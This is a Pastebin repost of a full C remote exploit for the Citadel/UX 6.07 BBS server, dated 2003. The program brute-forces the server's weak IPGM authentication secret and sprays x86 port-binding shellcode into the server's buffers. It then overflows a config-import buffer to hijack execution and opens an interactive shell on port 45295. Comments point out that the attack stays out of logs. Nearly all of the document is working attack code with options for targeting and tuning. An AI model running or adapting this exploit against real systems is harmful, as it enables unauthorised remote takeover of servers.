FlyFar

Citadel/UX BBS 6.07 - Remote Overflow

Feb 5th, 2024
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 15.60 KB | Cybersecurity | 0 0
  1. /*
  2.   Citadel/UX 6.07 Remote exploit
  3.   By Carl Livitt, July 2003
  4. */
  5.  
  6. #include <sys/types.h>
  7. #include <sys/stat.h>
  8. #include <sys/socket.h>
  9. #include <net/if.h>
  10. #include <netinet/in.h>
  11. #include <netinet/tcp.h>
  12. #include <arpa/inet.h>
  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16. #include <signal.h>
  17. #include <netdb.h>
  18. #include <time.h>
  19. #include <stdarg.h>
  20.  
  21. // If you change these, things will probably break.
  22. #define SIZ 4096
  23. #define LEN 298
  24. #define RET 0xbfffaf20
  25. #define CITADEL_PORT 504
  26. #define SHELL_PORT 45295
  27. #define LOCAL_NET() if(localNet) {my_sleep(nanoSecondsToSleep);}
  28. #define CHANCE_COUNTER 5
  29. #define NODELAY_ERR -1
  30. #define SOCKET_ERR -2
  31. #define CONNECT_ERR -3
  32. #define HOST_NOT_RESOLVED -4
  33. #define BRUTE_FORCE_EXHAUSTED -5
  34. #define INCORRECT_IPGM_SECRET -6
  35. #define SHELL_NOT_FOUND -7
  36. #define SUCCESS 1
  37. #define FAILED 0
  38.  
  39. // I'm using prewritten shellcode today... Laziness, Impatience, Hubris!
  40. // --------
  41. // linux x86 shellcode by eSDee of Netric (www.netric.org)
  42. // 200 byte - forking portbind shellcode - port=0xb0ef(45295)
  43. char shellcode[]=
  44.     "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  45.     "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  46.     "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  47.     "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
  48.     "\x50\x66\x68\xb0\xef\xb3\x02\x66"
  49.     "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
  50.     "\x52\x51\x89\xca\x89\xe1\xb0\x66"
  51.     "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
  52.     "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
  53.     "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
  54.     "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
  55.     "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
  56.     "\x80\x31\xc0\x31\xdb\x50\x50\x57"
  57.     "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
  58.     "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
  59.     "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
  60.     "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
  61.     "\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
  62.     "\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
  63.     "\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
  64.     "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  65.     "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
  66.     "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
  67.     "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
  68.     "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
  69.  
  70. // These kind of appeared as the exploit was developed
  71. void my_send(int, char *, ...);
  72. void my_recv(int);
  73. void make_shellcode(char *);
  74. void make_exploitbuf(char *);
  75. int brute_force(int);
  76. void usage(void);
  77. void my_sleep(int);
  78. void increase_chances(int,int);
  79. int connect_to_host(char *, int);
  80. int attempt_exploit(void);
  81.  
  82. // As did these... all global, as they kepy moving
  83. // between functions and I grew sick of it...
  84. int localNet=0, bufLenAdjust=0;
  85. int nanoSecondsToSleep=100000;
  86. int SEED_START=10;
  87. int SEED_MAX=30000;
  88. int NUM_ATTEMPTS=4;
  89. int RESPAWN_SLEEP=10;
  90. int seed;
  91. struct timespec t;
  92. unsigned long retAddr=RET;
  93. char buf[SIZ], host[SIZ];
  94. int magicNumber=0,sock,adjustRet=0,ch,retVal,i,r;
  95. fd_set rfds;
  96.  
  97. main(int argc, char **argv) {
  98.     int exploitAttempts=0;
  99.  
  100.     // parse command-line
  101.     while((ch=getopt(argc, argv, "t:li:s:hr:a:A:o:O:b:B:n:S:"))!=-1) {
  102.         switch(ch) {
  103.  case 't':
  104.     strncpy(host, optarg, SIZ-1);
  105.     break;
  106.  case 'i':
  107.     magicNumber=atoi(optarg);
  108.     printf("[-] Using IPGM secret: %d\n", magicNumber);
  109.     break;
  110.  case 'l':
  111.     localNet=1;
  112.     printf("[-] Using local net hack\n");
  113.     break;
  114.  case 's':
  115.     nanoSecondsToSleep=atoi(optarg);
  116.     printf("[-] Using sleep count of %d where necessary\n", nanoSecondsToSleep);
  117.     break;
  118.  case 'r':
  119.     retAddr=strtoul(optarg,NULL,16);
  120.     printf("[-] Using RET address: 0x%08x\n", retAddr);
  121.     break;
  122.  case 'a':
  123.     adjustRet=atoi(optarg);
  124.     retAddr+=adjustRet;
  125.     printf("[-] Using RET address: 0x%08x\n", retAddr);
  126.     break;
  127.  case 'A':
  128.     adjustRet=atoi(optarg);
  129.     retAddr-=adjustRet;
  130.     printf("[-] Using RET address: 0x%08x\n", retAddr);
  131.     break;
  132.  case 'o':
  133.     bufLenAdjust=atoi(optarg);
  134.     printf("[-] Increasing overflow buffer by %d bytes\n", bufLenAdjust);
  135.     break;
  136.  case 'O':
  137.     bufLenAdjust=atoi(optarg);
  138.     bufLenAdjust=-bufLenAdjust;
  139.     printf("[-] Decreasing overflow buffer by %d bytes\n", bufLenAdjust);
  140.     break;
  141.  case 'b':
  142.     SEED_START=atoi(optarg);
  143.     printf("[-] Bruteforce starting at srand(%d)\n", SEED_START);
  144.     break;
  145.  case 'B':
  146.     SEED_MAX=atoi(optarg);
  147.     printf("[-] Bruteforce ending at srand(%d)\n", SEED_MAX);
  148.     break;
  149.  case 'n':
  150.     NUM_ATTEMPTS=atoi(optarg);
  151.     printf("[-] Will try exploit %d times\n", NUM_ATTEMPTS);
  152.     break;
  153.  case 'S':
  154.     RESPAWN_SLEEP=atoi(optarg);
  155.     printf("[-] Will sleep for %d seconds between exploit attempts\n");
  156.     break;
  157.  case 'h':
  158.  default:
  159.     usage();
  160.     exit(0);
  161.         }
  162.     }
  163.  
  164.     while(exploitAttempts++ < NUM_ATTEMPTS && (retVal=attempt_exploit())!=SUCCESS) {
  165.         switch(retVal) {
  166.  case HOST_NOT_RESOLVED:
  167.     printf("[*] Couldn't connect to host: %s not found.\n", host);
  168.     exit(1);
  169.     break;
  170.  case SOCKET_ERR:
  171.     printf("[*] Couldn't grab a socket!\n");
  172.     exit(1);
  173.     break;
  174.  case CONNECT_ERR:
  175.     printf("[*] Connection to %s was rejected\n",host);
  176.     exit(1);
  177.  case NODELAY_ERR:
  178.     printf("[!] WARNING: Failed to set TCP_NODELAY option on socket\n");
  179.     break;
  180.  case BRUTE_FORCE_EXHAUSTED:
  181.     printf("[*] Brute force operation failed. Aborting.\n");
  182.     exit(1);
  183.     break;
  184.  case INCORRECT_IPGM_SECRET:
  185.     printf("[*] IPGM secret incorrect!\n");
  186.     exit(1);
  187.     break;
  188.  case SHELL_NOT_FOUND:
  189.     printf("[!] This attempt failed... waiting for INIT to respawn Citadel...\n");
  190.     sleep(RESPAWN_SLEEP);
  191.     break;
  192.  default:
  193.     printf("[*] ERROR: There was no error!\n");
  194.     break;
  195.         }
  196.     }
  197.     if(exploitAttempts==NUM_ATTEMPTS)
  198.         printf("[-] Exploit failed %d times. Aborting.\n", exploitAttempts);
  199.  
  200.     printf("\nHave a nice day!\n");
  201.     exit(0);
  202. }
  203.  
  204. int attempt_exploit(void) {
  205.     int magic;
  206.  
  207.     // Connect to the host and grab the banner
  208.     printf("[-] Connecting to Citadel server (%s) on port %d\n", host, CITADEL_PORT);
  209.     if((sock=connect_to_host(host,CITADEL_PORT)) < 1)
  210.         return sock;
  211.     my_recv(sock);
  212.  
  213.     // Attempt to brute-force the secret IPGM authentication number.
  214.     // Only do this if magic number is not given on command-line (-i flag).
  215.     magic=magicNumber;
  216.     if(!magic) {
  217.         printf("[-] Starting bruteforce operation ...\n");fflush(stdout);
  218.         if((magic=brute_force(sock))==-1) {
  219.  return BRUTE_FORCE_EXHAUSTED;
  220.         }
  221.         printf("[-] Success! IPGM=%d (seed: %d)\n", magic, seed);
  222.         magicNumber=magic; // set magicNumber so we don't run bruteforcer again
  223.  
  224.         // Tear down the socket, and reconnect again (to reauthenticate),
  225.         printf("[-] Re-establishing connection to %s ...\n",host);
  226.         my_send(sock, "QUIT\n");
  227.         my_recv(sock);
  228.         close(sock);
  229.         if(!(sock=connect_to_host(host,CITADEL_PORT)))
  230.  return sock;
  231.     }
  232.  
  233.     // Authenticate as internal program, but unlike the brute-force attempts,
  234.     // tag 4K of shellcode on the end of the request
  235.     printf("[-] Authenticating as internal progam ...\n");
  236.     make_shellcode(buf);
  237.     my_send(sock, "IPGM %d %s\n", magic, buf);
  238.     LOCAL_NET();
  239.     buf[recv(sock,buf,SIZ-1,0)]=0; // don't do this at home, kids!
  240.     if(strncmp(buf, "200",3)) {
  241.         return INCORRECT_IPGM_SECRET;
  242.     }
  243.  
  244.     // Increase the chance of the shellcode being in the correct place at the
  245.     // correct time by sending it many times... this lets each worker thread
  246.     // in Citserver copy the shellcode into a buffer, making it almost
  247.     // certain that we can jump to it successfully (it hasn't failed once!)
  248.     // Shellcode is stored in a buffer that is used by Citserver to hold
  249.     // text that would normally get logged to stderr. As Citserver usually
  250.     // runs as a daemon, this exploit doesn't show in any logs at all.
  251.     increase_chances(sock,magic);
  252.  
  253.     // Enter configuration import mode, specifically the 'floor' section,
  254.     // although I think others may be vulnerable too
  255.     printf("[-] Entering config mode ...\n");
  256.     my_send(sock, "ARTV import\n");
  257.     my_recv(sock);
  258.     my_send(sock, "floor\n");
  259.  
  260.     // Start the vulnerable import process which blindly reads in 6 lines of
  261.     // data. These lines are read into buffers 4K in size, and the data is
  262.     // also truncated at 4K... Unfortunately, the 3rd line goes into a 256
  263.     // byte buffer which, of course, overflows..
  264.     printf("[-] Sending exploit strings ...\n");
  265.     my_send(sock, "a\n");
  266.     my_send(sock, "a\n");
  267.  
  268.     // Overflow occurs when this buffer is read by the server, so make sure
  269.     // it's padded to the correct size with the evil RET address tagged on
  270.     // the end.
  271.     make_exploitbuf(buf);
  272.     my_send(sock,buf);
  273.  
  274.     // Send the final 3 lines of text. It can be anything we like...
  275.     make_shellcode(buf);
  276.     for(i=0;i<3;i++)
  277.         my_send(sock,buf);
  278.  
  279.     // The server will now have RETurned to the new, malicious saved EIP and
  280.     // is executing the shellcode... We close the connection, wait a couple of
  281.     // seconds and then connect to the shell which is bound to port 45295.
  282.     close(sock);
  283.  
  284.     printf("[-] Waiting before connecting to shell...\n");
  285.     sleep(2);
  286.     printf("[-] Now connecting to shell...\n");
  287.     if(!(sock=connect_to_host(host,SHELL_PORT))) {
  288.         return SHELL_NOT_FOUND;
  289.     }
  290.     printf("[-] Connected! You can type commands now:\n");
  291.  
  292.         // Now let the attacker issue commands to the remote
  293.         // shell, just as if (s)he had launched 'nc host 45295'.
  294.         do {
  295.                 FD_ZERO(&rfds);
  296.                 FD_SET(0, &rfds);
  297.                 FD_SET(sock, &rfds);
  298.                 retVal=select(sock+1, &rfds, NULL, NULL, NULL);
  299.                 if(retVal) {
  300.                         if(FD_ISSET(sock, &rfds)) {
  301.                                 buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
  302.                                 printf("%s", buf);
  303.                         }
  304.                         if(FD_ISSET(0, &rfds)) {
  305.                                 buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
  306.                                 send(sock, buf, strlen(buf), 0);
  307.                         }
  308.  
  309.                 }
  310.         } while(retVal && r); // loop until connection terminates
  311.  
  312.     // Be an environmentally friendly programmer and free resources before exiting...
  313.     close(sock);
  314.     return 1;
  315. }
  316.  
  317. // Given a hostname (or IP address) and a port number, this function
  318. // connects a TCP stream and returns a socket number (or dies trying)
  319. int connect_to_host(char *h, int p) {
  320.     int sock,tmp=1;
  321.         struct hostent *host;
  322.         struct sockaddr_in saddr;
  323.  
  324.     if((host=gethostbyname(h))==NULL) {
  325.                 return HOST_NOT_RESOLVED;
  326.         }
  327.  
  328.         if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  329.                 return SOCKET_ERR;
  330.         }
  331.         memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  332.         saddr.sin_family=AF_INET;
  333.         saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
  334.         saddr.sin_port=htons(p);
  335.         if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
  336.                 return CONNECT_ERR;
  337.         }
  338.  
  339.     // We want this to stop bad buffering on fast networks... TCP_NODELAY seems
  340.     // to fix strange and intermittent buffering issues on some test boxes,
  341.     // especially when coupled with 'local net' mode ( See 'help' in usage() ).
  342.     if(setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp))!=0) {
  343.         return NODELAY_ERR;
  344.     }
  345.  
  346.     return sock;
  347. }
  348.  
  349. // This will brute-force the secret IPGM (Internal ProGraM) authentication
  350. // code for the Citadel server. The IPGM secrets are determined at install
  351. // time and use a very weak random number generator that creates precisely
  352. // reproducable 'random' numbers. By default, this brute-forcer is setup to
  353. // try about 29990 32-bit 'secret' numbers... it's overkill but catches 100%
  354. // of Citadel installations tested so far.
  355. // Returns IPGM secret number if successful, -1 if not.
  356. // Note: This could be a lot more efficient... but seeing as this is a public
  357. // release, better not make it _too_ efficient, eh?
  358. int brute_force(int s) {
  359.         char buf[SIZ];
  360.     int exitFlag=0, randomNum;
  361.  
  362.     // Loop through each seed and try the random number...
  363.     seed=SEED_START;
  364.         while(!exitFlag && seed<=SEED_MAX) {
  365.         printf("[-] Bruteforcing ... %d of %d\r", seed, SEED_MAX);fflush(stdout);
  366.         srand(seed);
  367.                 my_send(s, "IPGM %d\n", (randomNum=rand()));
  368.         memset(buf,0,SIZ-1);
  369.         LOCAL_NET();
  370.                 recv(s, buf, SIZ-1, 0);
  371.                 if(!strncmp(buf, "200",3))
  372.                         exitFlag=1;
  373.         seed++;
  374.         }
  375.     printf("                                                               \r");
  376.  
  377.     // Return the magic number to the caller if successful.
  378.     // Note: we have already been successfully IPGM authenticated,
  379.     // so no need to do it again in the calling function.
  380.     if(exitFlag)
  381.         return randomNum;
  382.     else
  383.         return -1;
  384. }
  385.  
  386. // Fairly standard function to fill a buffer with LEN bytes of padding,
  387. // followed by the RET address to overwrite saved EIP with. An extra non-
  388. // printable character is added at the end of the buffer because the Citadel
  389. // server will convert the last non-printable character in a buffer to NULL.
  390. void make_exploitbuf(char *b) {
  391.     int l;
  392.  
  393.     memset(b,0x00,SIZ-1);
  394.     memset(b,'a',LEN+bufLenAdjust);
  395.     l=strlen(b);
  396.     b[l]=retAddr&0xff;
  397.     b[l+1]=(retAddr&0xff00)>>8;
  398.     b[l+2]=(retAddr&0xff0000)>>16;
  399.     b[l+3]=(retAddr&0xff000000)>>24;
  400.  
  401.     // make sure there is a non-printable char _after_ the RET address, because the server
  402.     // will replace the last non-printable char with a NULL... we don't want our RET NULLified!
  403.     strcat(b, "_\x01\n");
  404. }
  405.  
  406. // Pad out the shellcode buffer with NOPs to make it easier to hit the
  407. // shellcode when the server RETurns from the vulnerable function. Again,
  408. // a non-printable char is added to the end of the buffer.
  409. void make_shellcode(char *b) {
  410.     int l;
  411.  
  412.     memset(b,0,SIZ-1);
  413.     memset(b,0x90,SIZ-40); // 40 is arbitrary - enough room for IPGM xxxxxxxxxx
  414.     memcpy(b+(SIZ-42)-strlen(shellcode), shellcode, strlen(shellcode));
  415.     strcat(b,"\x01"); // nonprintable chaar
  416. }
  417.  
  418. // Handy little function to send formattable data down a socket.
  419. void my_send(int s, char *b, ...) {
  420.     va_list ap;
  421.     char *buf;
  422.  
  423.     va_start(ap,b);
  424.     vasprintf(&buf,b,ap);
  425.     send(s,buf,strlen(buf),0);
  426.     va_end(ap);
  427.     free(buf);
  428. }
  429.  
  430. // Another handy function to read data from a socket.
  431. void my_recv(int s) {
  432.     int len;
  433.     char buf[SIZ];
  434.  
  435.     LOCAL_NET();
  436.     len=recv(s, buf, SIZ-1, 0);
  437.         buf[len]=0;
  438.     // do stuff with buf[] here...
  439.     //printf("%s");
  440. }
  441.  
  442. // No prizes for guessing what this does....
  443. // Note: this style of multi-line text strings is deprecated and won't compile
  444. // under GCC 3.3 - I don't care.
  445. void usage(void) {
  446.     printf("
  447. Citadel Exploit - Public Release Version
  448. By Carl Livitt (carllivitt at hush dot com)
  449.  
  450. Flags:
  451.     -t target   Attack host 'target'
  452.     -l      Use 'local net' mode: adds small pauses
  453. between send() and recv() calls. Has more
  454. chance of succeding on fast networks
  455.     -i number   Specify IPGM number if known - avoids
  456. doing brute force discovery
  457.     -s nanosecs Sleep for 'nanosecs' when in local net mode
  458. default: 100000
  459.     -r address  Specify RET address
  460.     -a adjustment   Add 'adjustment' to RET address
  461.     -A adjustment   Subtract 'adjustment' to RET address
  462.     -o adjustment   Add 'adjustment' to overflow buffer length
  463.     -O adjustment   Subtract 'adjustment' from overflow buffer length
  464.     -b number   Start bruteforce srand() seed at 'number'
  465.     -B number   End bruteforce srand() seed at 'number'
  466.     -n number   Attempt the exploit 'number' times
  467.     -S seconds  Sleep for 'seconds' between exploit attempts
  468.     -h      You're reading it.
  469. ");
  470. }
  471.  
  472. // Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
  473. void my_sleep(int n) {
  474.     t.tv_sec=0;
  475.     t.tv_nsec=n;
  476.     nanosleep(&t,&t);
  477. }
  478.  
  479. // Flood the citadel server CHANCE_COUNTER times with the shellcode
  480. // to try and make it more likely for the shellcode to be in the right
  481. // place at the right time. This function makes one helluva difference
  482. // to the exploits reliability (100% reliable to date).
  483. void increase_chances(int s, int m) {
  484.     char buf[SIZ];
  485.     int i;
  486.  
  487.     make_shellcode(buf);
  488.     for(i=0;i<CHANCE_COUNTER;i++) {
  489.         my_send(s, "IPGM %d %s\n", m, buf);
  490.         my_recv(s);
  491.     }
  492. }
  493.  
  494. // milw0rm.com [2003-07-17]
Add Comment
Please, Sign In to add comment